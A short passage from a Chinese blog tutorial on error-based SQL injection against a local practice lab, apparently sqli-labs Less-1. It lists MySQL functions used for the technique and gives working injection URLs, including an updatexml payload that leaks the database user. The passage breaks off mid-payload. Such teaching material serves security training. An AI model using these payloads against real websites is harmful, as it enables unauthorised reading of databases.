sql注入-报错注入

渗透测试基础课-课程进度_不死的小鱼的博客-CSDN博客

1.什么是报错注入
mysql_error
2.我们在什么情况下使用报错注入
在页面返回连错错误信息的时候

3.函数
updatexml  //5.1版本以上使用
extrachvalue
floor   //5.0版本之前也可以使用

请求：http://localhost/Less-1/index.php?id=1%27  //  %27是英文单引号的url编码，是被浏览器自动编码的 %20 是空格
返回：1' LIMIT 0,1

http://localhost/Less-1/index.php?id=1%27%20and%201=1--%2011   条件成立 有数据返回
http://localhost/Less-1/index.php?id=1%27%20and%201=2--%2011   条件不成立 无数据返回
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,(select%20user()),1)--%2011
返回：XPATH syntax error: '@localhost'     完整的 应该是 xxx@localhost
concat 连接
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select